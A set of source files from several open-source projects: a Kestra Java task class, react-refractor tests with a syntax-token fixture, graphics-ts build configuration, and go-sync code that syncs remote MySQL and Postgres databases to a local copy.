import com.fasterxml.jackson.annotation.JsonTypeInfo;
import io.kestra.core.exceptions.IllegalVariableEvaluationException;
import io.kestra.core.models.executions.TaskRun;
import io.kestra.core.models.tasks.retrys.AbstractRetry;
import io.kestra.core.runners.RunContext;
import io.micronaut.core.annotation.Introspected;
import lombok.Builder;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.experimental.SuperBuilder;
import java.time.Duration;
import java.util.Optional;
import javax.validation.Valid;
import javax.validation.constraints.NotBlank;
import javax.validation.constraints.NotNull;
import javax.validation.constraints.Pattern;
import static io.kestra.core.utils.Rethrow.throwFunction;
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, property = "type", visible = true, include = JsonTypeInfo.As.EXISTING_PROPERTY)
@SuperBuilder
@Getter
@NoArgsConstructor
@Introspected
@JsonInclude(JsonInclude.Include.NON_DEFAULT)
abstract public class Task {
@NotNull
@NotBlank
@Pattern(regexp="[a-zA-Z0-9_-]+")
protected String id;
@NotNull
@NotBlank
@Pattern(regexp="\\p{javaJavaIdentifierStart}\\p{javaJavaIdentifierPart}*(\\.\\p{javaJavaIdentifierStart}\\p{javaJavaIdentifierPart}*)*")
protected String type;
private String description;
@Valid
protected AbstractRetry retry;
protected Duration timeout;
@Builder.Default
protected Boolean disabled = false;
public Optional<Task> findById(String id) {
if (this.getId().equals(id)) {
return Optional.of(this);
}
if (this.isFlowable()) {
Optional<Task> childs = ((FlowableTask<?>) this).allChildTasks()
.stream()
.map(t -> t.findById(id))
.filter(Optional::isPresent)
.map(Optional::get)
.findFirst();
if (childs.isPresent()) {
return childs;
}
}
return Optional.empty();
}
public Optional<Task> findById(String id, RunContext runContext, TaskRun taskRun) throws IllegalVariableEvaluationException {
if (this.getId().equals(id)) {
return Optional.of(this);
}
if (this.isFlowable()) {
Optional<Task> childs = ((FlowableTask<?>) this).childTasks(runContext, taskRun)
.stream()
.map(throwFunction(resolvedTask -> resolvedTask.getTask().findById(id, runContext, taskRun)))
.filter(Optional::isPresent)
.map(Optional::get)
.findFirst();
if (childs.isPresent()) {
return childs;
}
}
if (this.isFlowable() && ((FlowableTask<?>) this).getErrors() != null) {
Optional<Task> errorChilds = ((FlowableTask<?>) this).getErrors()
.stream()
.map(throwFunction(task -> task.findById(id, runContext, taskRun)))
.filter(Optional::isPresent)
.map(Optional::get)
.findFirst();
if (errorChilds.isPresent()) {
return errorChilds;
}
}
return Optional.empty();
}
@JsonIgnore
public boolean isFlowable() {
return this instanceof FlowableTask;
}
}
| kestra-io/kestra |
<|start_filename|>test/addMarkers.test.js<|end_filename|>
const addMarkers = require('../src/addMarkers')
const ast = require('./fixtures/ast')
test('adds correct line numbers', () => {
const markers = [9, 11, 10, 12, 13, 14, 15, 16, 17, 18, 1]
expect(addMarkers(ast, {markers})).toMatchSnapshot()
})
test('does not crash on markers beyond the number of lines in source', () => {
const markers = [9, 11, 10, 12, 13, 100, 14, 15, 16, 17, 18, 1]
expect(addMarkers(ast, {markers})).toMatchSnapshot()
})
<|start_filename|>test/Refractor.test.js<|end_filename|>
const React = require('react')
const ReactDOM = require('react-dom/server')
const js = require('refractor/lang/javascript')
const haml = require('refractor/lang/haml')
const Refractor = require('../src/Refractor')
beforeAll(() => {
Refractor.registerLanguage(js)
Refractor.registerLanguage(haml)
})
test('should render empty if no code is given', () => {
expect(render({value: '', language: 'js'}, {withWrapper: true})).toBe(
'<pre class="refractor language-js"><code class="language-js"></code></pre>'
)
})
test('should render simple JS snippet correct', () => {
expect(render({value: '"use strict";', language: 'js'}, {withWrapper: true})).toBe(
'<pre class="refractor language-js">' +
'<code class="language-js">' +
'<span class="token string">"use strict"</span>' +
'<span class="token punctuation">;</span>' +
'</code>' +
'</pre>'
)
})
test('should use the specified language', () => {
expect(render({value: '', language: 'haml'}, {withWrapper: true})).toBe(
'<pre class="refractor language-haml"><code class="language-haml"></code></pre>'
)
})
test('should be able to render inline', () => {
expect(
render(
{value: 'var foo = "bar"', language: 'js', inline: true, className: 'moop'},
{withWrapper: true}
)
).toMatchSnapshot()
})
test('should be able to highlight specific lines with markers', () => {
const language = 'javascript'
const code = '{\n title: "Sanity",\n url: "https://sanity.io/"\n}\n'
const markers = [2, {line: 3, className: 'url'}]
expect(render({value: code, markers, language}, {withWrapper: true})).toMatchSnapshot()
})
test('should be able to highlight specific, out-of-order lines with markers', () => {
const language = 'javascript'
const code =
"import client from 'part:@sanity/base/client'\n\nexport default {\n name: 'post',\n type: 'document',\n title: 'Blog post',\n initialValue: async () => ({\n publishedAt: new Date().toISOString(),\n authors: await client.fetch(`\n *[_type == \"author\" && \"marketing\" in responsbilities]{\n \"_type\": \"authorReference\",\n \"author\": {\n \"_type\": \"reference\",\n \"_ref\": _id\n }\n }\n `)\n }),\n fields: [\n {\n name: 'title',\n type: 'string',\n title: 'Title'\n },\n {\n name: 'slug',\n type: 'slug',\n title: 'Slug'\n },\n {\n name: 'publishedAt',\n type: 'datetime',\n title: 'Published at'\n },\n {\n name: 'authors',\n type: 'array',\n title: 'Authors',\n of: [\n {\n type: 'authorReference'\n } \n ]\n }\n // ...\n ]\n}"
const markers = [9, 11, 10, 12, 13, 14, 15, 16, 17, 18, 1]
expect(render({value: code, markers, language}, {withWrapper: true})).toMatchSnapshot()
})
test('does not crash on markers beyond the number of lines in source', () => {
const language = 'javascript'
const code = "import foo from 'bar'"
const markers = [9, 11, 10, 12, 13, 100, 14, 15, 16, 17, 18, 1]
expect(render({value: code, markers, language})).toMatchSnapshot()
})
function render(props, options) {
const opts = options || {}
const html = opts.reactAttrs
? ReactDOM.renderToString(React.createElement(Refractor, props))
: ReactDOM.renderToStaticMarkup(React.createElement(Refractor, props))
if (!opts.withWrapper) {
return html.replace(/.*?<code.*?>([\s\S]*)<\/code>.*/g, '$1')
}
return html
}
<|start_filename|>test/fixtures/ast.js<|end_filename|>
module.exports = [
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'keyword'],
},
children: [
{
type: 'text',
value: 'import',
},
],
},
{
type: 'text',
value: ' client ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'keyword'],
},
children: [
{
type: 'text',
value: 'from',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'string'],
},
children: [
{
type: 'text',
value: "'part:@sanity/base/client'",
},
],
},
{
type: 'text',
value: '\n\n',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'keyword'],
},
children: [
{
type: 'text',
value: 'export',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'keyword'],
},
children: [
{
type: 'text',
value: 'default',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: '{',
},
],
},
{
type: 'text',
value: '\n name',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'operator'],
},
children: [
{
type: 'text',
value: ':',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'string'],
},
children: [
{
type: 'text',
value: "'post'",
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ',',
},
],
},
{
type: 'text',
value: '\n type',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'operator'],
},
children: [
{
type: 'text',
value: ':',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'string'],
},
children: [
{
type: 'text',
value: "'document'",
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ',',
},
],
},
{
type: 'text',
value: '\n title',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'operator'],
},
children: [
{
type: 'text',
value: ':',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'string'],
},
children: [
{
type: 'text',
value: "'Blog post'",
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ',',
},
],
},
{
type: 'text',
value: '\n ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'function-variable', 'function'],
},
children: [
{
type: 'text',
value: 'initialValue',
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'operator'],
},
children: [
{
type: 'text',
value: ':',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'keyword'],
},
children: [
{
type: 'text',
value: 'async',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: '(',
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ')',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'operator'],
},
children: [
{
type: 'text',
value: '=>',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: '(',
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: '{',
},
],
},
{
type: 'text',
value: '\n publishedAt',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'operator'],
},
children: [
{
type: 'text',
value: ':',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'keyword'],
},
children: [
{
type: 'text',
value: 'new',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'class-name'],
},
children: [
{
type: 'text',
value: 'Date',
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: '(',
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ')',
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: '.',
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'function'],
},
children: [
{
type: 'text',
value: 'toISOString',
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: '(',
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ')',
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ',',
},
],
},
{
type: 'text',
value: '\n authors',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'operator'],
},
children: [
{
type: 'text',
value: ':',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'keyword'],
},
children: [
{
type: 'text',
value: 'await',
},
],
},
{
type: 'text',
value: ' client',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: '.',
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'function'],
},
children: [
{
type: 'text',
value: 'fetch',
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: '(',
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'template-string'],
},
children: [
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'template-punctuation', 'string'],
},
children: [
{
type: 'text',
value: '`',
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'string'],
},
children: [
{
type: 'text',
value:
'\n *[_type == "author" && "marketing" in responsbilities]{\n "_type": "authorReference",\n "author": {\n "_type": "reference",\n "_ref": _id\n }\n }\n ',
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'template-punctuation', 'string'],
},
children: [
{
type: 'text',
value: '`',
},
],
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ')',
},
],
},
{
type: 'text',
value: '\n ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: '}',
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ')',
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ',',
},
],
},
{
type: 'text',
value: '\n fields',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'operator'],
},
children: [
{
type: 'text',
value: ':',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: '[',
},
],
},
{
type: 'text',
value: '\n ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: '{',
},
],
},
{
type: 'text',
value: '\n name',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'operator'],
},
children: [
{
type: 'text',
value: ':',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'string'],
},
children: [
{
type: 'text',
value: "'title'",
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ',',
},
],
},
{
type: 'text',
value: '\n type',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'operator'],
},
children: [
{
type: 'text',
value: ':',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'string'],
},
children: [
{
type: 'text',
value: "'string'",
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ',',
},
],
},
{
type: 'text',
value: '\n title',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'operator'],
},
children: [
{
type: 'text',
value: ':',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'string'],
},
children: [
{
type: 'text',
value: "'Title'",
},
],
},
{
type: 'text',
value: '\n ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: '}',
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ',',
},
],
},
{
type: 'text',
value: '\n ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: '{',
},
],
},
{
type: 'text',
value: '\n name',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'operator'],
},
children: [
{
type: 'text',
value: ':',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'string'],
},
children: [
{
type: 'text',
value: "'slug'",
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ',',
},
],
},
{
type: 'text',
value: '\n type',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'operator'],
},
children: [
{
type: 'text',
value: ':',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'string'],
},
children: [
{
type: 'text',
value: "'slug'",
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ',',
},
],
},
{
type: 'text',
value: '\n title',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'operator'],
},
children: [
{
type: 'text',
value: ':',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'string'],
},
children: [
{
type: 'text',
value: "'Slug'",
},
],
},
{
type: 'text',
value: '\n ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: '}',
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ',',
},
],
},
{
type: 'text',
value: '\n ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: '{',
},
],
},
{
type: 'text',
value: '\n name',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'operator'],
},
children: [
{
type: 'text',
value: ':',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'string'],
},
children: [
{
type: 'text',
value: "'publishedAt'",
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ',',
},
],
},
{
type: 'text',
value: '\n type',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'operator'],
},
children: [
{
type: 'text',
value: ':',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'string'],
},
children: [
{
type: 'text',
value: "'datetime'",
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ',',
},
],
},
{
type: 'text',
value: '\n title',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'operator'],
},
children: [
{
type: 'text',
value: ':',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'string'],
},
children: [
{
type: 'text',
value: "'Published at'",
},
],
},
{
type: 'text',
value: '\n ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: '}',
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ',',
},
],
},
{
type: 'text',
value: '\n ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: '{',
},
],
},
{
type: 'text',
value: '\n name',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'operator'],
},
children: [
{
type: 'text',
value: ':',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'string'],
},
children: [
{
type: 'text',
value: "'authors'",
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ',',
},
],
},
{
type: 'text',
value: '\n type',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'operator'],
},
children: [
{
type: 'text',
value: ':',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'string'],
},
children: [
{
type: 'text',
value: "'array'",
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ',',
},
],
},
{
type: 'text',
value: '\n title',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'operator'],
},
children: [
{
type: 'text',
value: ':',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'string'],
},
children: [
{
type: 'text',
value: "'Authors'",
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ',',
},
],
},
{
type: 'text',
value: '\n ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'keyword'],
},
children: [
{
type: 'text',
value: 'of',
},
],
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'operator'],
},
children: [
{
type: 'text',
value: ':',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: '[',
},
],
},
{
type: 'text',
value: '\n ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: '{',
},
],
},
{
type: 'text',
value: '\n type',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'operator'],
},
children: [
{
type: 'text',
value: ':',
},
],
},
{
type: 'text',
value: ' ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'string'],
},
children: [
{
type: 'text',
value: "'authorReference'",
},
],
},
{
type: 'text',
value: '\n ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: '}',
},
],
},
{
type: 'text',
value: ' \n ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ']',
},
],
},
{
type: 'text',
value: '\n ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: '}',
},
],
},
{
type: 'text',
value: '\n ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'comment'],
},
children: [
{
type: 'text',
value: '// ...',
},
],
},
{
type: 'text',
value: '\n ',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: ']',
},
],
},
{
type: 'text',
value: '\n',
},
{
type: 'element',
tagName: 'span',
properties: {
className: ['token', 'punctuation'],
},
children: [
{
type: 'text',
value: '}',
},
],
},
]
| chenxsan/react-refractor |
<|start_filename|>example/webpack.config.js<|end_filename|>
const HtmlWebpackPlugin = require('html-webpack-plugin');
const path = require('path');
const webpack = require('webpack');
module.exports = {
mode: 'development',
context: path.resolve(__dirname),
entry: [
'webpack-dev-server/client?http://localhost:8080', // bundle the client for webpack-dev-server and connect to the provided endpoint
'webpack/hot/only-dev-server', // bundle the client for hot reloading, only - means to only hot reload for successful updates
'./index.ts', // entry point for the application
],
module: {
rules: [
{
test: /\.tsx?$|\.jsx?$/,
exclude: /node_modules/,
loader: require.resolve('ts-loader'),
},
],
},
resolve: {
extensions: ['.js', '.ts', '.tsx'],
},
devServer: {
compress: true,
hot: true, // enable HMR on the server
port: 8080,
},
devtool: 'inline-source-map',
plugins: [
new webpack.HotModuleReplacementPlugin(), // enable HMR globally
new HtmlWebpackPlugin({
template: path.resolve(__dirname, './index.html.ejs'),
}),
new webpack.NamedModulesPlugin(), // prints more readable module names in the browser console on HMR updates
],
};
<|start_filename|>package.json<|end_filename|>
{
"name": "graphics-ts",
"version": "1.1.0",
"description": "A porting of purescript-{canvas, free-canvas, drawing} featuring fp-ts",
"files": [
"lib",
"es6"
],
"main": "lib/index.js",
"module": "es6/index.js",
"typings": "lib/index.d.ts",
"sideEffects": false,
"scripts": {
"lint": "tslint -p .",
"jest-clear-cache": "jest --clearCache",
"jest": "jest --ci",
"prettier": "prettier --list-different \"./{src,test,example}/**/*.ts\"",
"fix-prettier": "prettier --write \"./{src,test,example}/**/*.ts\"",
"test": "npm run lint && npm run prettier && npm run jest-clear-cache && npm run jest",
"clean": "rimraf lib/* es6/*",
"prebuild": "npm run clean",
"build": "tsc -p ./tsconfig.build.json && tsc -p ./tsconfig.build-es6.json && npm run import-path-rewrite",
"postbuild": "prettier --write \"./{lib,es6}/**/*.ts\"",
"start": "webpack-dev-server --config=example/webpack.config.js",
"docs": "docs-ts",
"import-path-rewrite": "import-path-rewrite"
},
"repository": {
"type": "git",
"url": "https://github.com/gcanti/graphics-ts.git"
},
"author": "<NAME> <<EMAIL>>",
"license": "MIT",
"bugs": {
"url": "https://github.com/gcanti/graphics-ts/issues"
},
"homepage": "https://github.com/gcanti/graphics-ts",
"dependencies": {},
"peerDependencies": {
"fp-ts": "^2.6.1",
"fp-ts-contrib": "^0.1.15"
},
"devDependencies": {
"@types/jest": "^25.2.3",
"@types/node": "^14.0.1",
"docs-ts": "^0.5.1",
"fp-ts": "^2.6.1",
"fp-ts-contrib": "^0.1.15",
"glob": "^7.1.6",
"html-webpack-plugin": "^4.3.0",
"import-path-rewrite": "github:gcanti/import-path-rewrite",
"jest": "^26.0.1",
"jest-canvas-mock": "^2.2.0",
"prettier": "^2.0.5",
"rimraf": "^3.0.2",
"ts-jest": "^26.0.0",
"ts-loader": "^7.0.4",
"ts-node": "^8.10.1",
"tslint": "^6.1.2",
"tslint-config-standard": "^9.0.0",
"tslint-immutable": "^6.0.1",
"typescript": "^3.9.3",
"webpack": "^4.43.0",
"webpack-cli": "^3.3.11",
"webpack-dev-server": "^3.11.0"
},
"tags": [
"typescript",
"functional-programming",
"html-canvas",
"canvas"
],
"keywords": [
"typescript",
"functional-programming",
"html-canvas",
"canvas"
]
}
| gcanti/graphics-ts |
<|start_filename|>sync/server_sync_database.go<|end_filename|>
package sync
import (
"github.com/webdevops/go-shell"
"fmt"
"io/ioutil"
"os"
)
func (database *Database) Sync() {
switch database.GetType() {
case "mysql":
mysql := database.GetMysql()
if mysql.Options.ClearDatabase {
mysql.syncClearDatabase()
}
mysql.syncStructure()
mysql.syncData()
case "postgres":
postgres := database.GetPostgres()
if postgres.Options.ClearDatabase {
postgres.syncClearDatabase()
}
postgres.syncStructure()
postgres.syncData()
}
}
//#############################################################################
// Postgres
//#############################################################################
// Sync database structure
func (database *DatabasePostgres) syncClearDatabase() {
// don't use database which we're trying to drop, instead use "mysql"
db := database.Local.Db
database.Local.Db = "postgres"
Logger.Step("dropping local database \"%s\"", db)
dropStmt := fmt.Sprintf("DROP DATABASE IF EXISTS `%s`", db)
dropCmd := shell.Cmd("echo", shell.Quote(dropStmt)).Pipe(database.localPsqlCmdBuilder()...)
dropCmd.Run()
Logger.Step("creating local database \"%s\"", db)
createStmt := fmt.Sprintf("CREATE DATABASE `%s`", db)
createCmd := shell.Cmd("echo", shell.Quote(createStmt)).Pipe(database.localPsqlCmdBuilder()...)
createCmd.Run()
database.Local.Db = db
}
// Sync database structure
func (database *DatabasePostgres) syncStructure() {
Logger.Step("syncing database structure")
tmpfile, err := ioutil.TempFile("", "dump")
if err != nil {
panic(err)
}
defer os.Remove(tmpfile.Name())
// Sync structure only
dumpCmd := database.remotePgdumpCmdBuilder([]string{"--schema-only"}, false)
shell.Cmd(dumpCmd...).Pipe("cat", ">", tmpfile.Name()).Run()
// Restore structure only
restoreCmd := database.localPsqlCmdBuilder()
shell.Cmd("cat", tmpfile.Name()).Pipe("gunzip", "--stdout").Pipe(restoreCmd...).Run()
}
// Sync database data
func (database *DatabasePostgres) syncData() {
Logger.Step("syncing database data")
tmpfile, err := ioutil.TempFile("", "dump")
if err != nil {
panic(err)
}
defer os.Remove(tmpfile.Name())
// Sync structure only
dumpCmd := database.remotePgdumpCmdBuilder([]string{"--data-only"}, true)
shell.Cmd(dumpCmd...).Pipe("cat", ">", tmpfile.Name()).Run()
// Restore structure only
restoreCmd := database.localPsqlCmdBuilder()
shell.Cmd("cat", tmpfile.Name()).Pipe("gunzip", "--stdout").Pipe(restoreCmd...).Run()
}
//#############################################################################
// MySQL
//#############################################################################
// Sync database structure
func (database *DatabaseMysql) syncClearDatabase() {
// don't use database which we're trying to drop, instead use "mysql"
db := database.Local.Db
database.Local.Db = ""
Logger.Step("dropping local database \"%s\"", db)
dropStmt := fmt.Sprintf("DROP DATABASE IF EXISTS `%s`", db)
dropCmd := shell.Cmd("echo", shell.Quote(dropStmt)).Pipe(database.localMysqlCmdBuilder()...)
dropCmd.Run()
Logger.Step("creating local database \"%s\"", db)
createStmt := fmt.Sprintf("CREATE DATABASE IF NOT EXISTS `%s`", db)
createCmd := shell.Cmd("echo", shell.Quote(createStmt)).Pipe(database.localMysqlCmdBuilder()...)
createCmd.Run()
database.Local.Db = db
}
// Sync database structure
func (database *DatabaseMysql) syncStructure() {
Logger.Step("syncing database structure")
tmpfile, err := ioutil.TempFile("", "dump")
if err != nil {
panic(err)
}
defer os.Remove(tmpfile.Name())
// Sync structure only
dumpCmd := database.remoteMysqldumpCmdBuilder([]string{"--no-data"}, true)
shell.Cmd(dumpCmd...).Pipe("cat", ">", tmpfile.Name()).Run()
// Restore structure only
restoreCmd := database.localMysqlCmdBuilder()
shell.Cmd("cat", tmpfile.Name()).Pipe("gunzip", "--stdout").Pipe(restoreCmd...).Run()
}
// Sync database data
func (database *DatabaseMysql) syncData() {
Logger.Step("syncing database data")
tmpfile, err := ioutil.TempFile("", "dump")
if err != nil {
panic(err)
}
defer os.Remove(tmpfile.Name())
// Sync data only
dumpCmd := database.remoteMysqldumpCmdBuilder([]string{"--no-create-info"}, true)
shell.Cmd(dumpCmd...).Pipe("cat", ">", tmpfile.Name()).Run()
// Restore data only
restoreCmd := database.localMysqlCmdBuilder()
shell.Cmd("cat", tmpfile.Name()).Pipe("gunzip", "--stdout").Pipe(restoreCmd...).Run()
}
<|start_filename|>sync/global.go<|end_filename|>
package sync
import "github.com/webdevops/go-sync/logger"
var (
Logger *logger.SyncLogger
)
<|start_filename|>main.go<|end_filename|>
package main
import (
"os"
"log"
"fmt"
"runtime/debug"
flags "github.com/jessevdk/go-flags"
"github.com/webdevops/go-shell"
"github.com/webdevops/go-sync/logger"
)
const (
// application informations
Name = "gosync"
Author = "webdevops.io"
Version = "0.6.1"
// self update informations
GithubOrganization = "webdevops"
GithubRepository = "go-sync"
GithubAssetTemplate = "gosync-%OS%-%ARCH%"
)
var (
Logger *logger.SyncLogger
argparser *flags.Parser
args []string
)
var opts struct {
Verbose []bool `short:"v" long:"verbose" description:"verbose mode"`
}
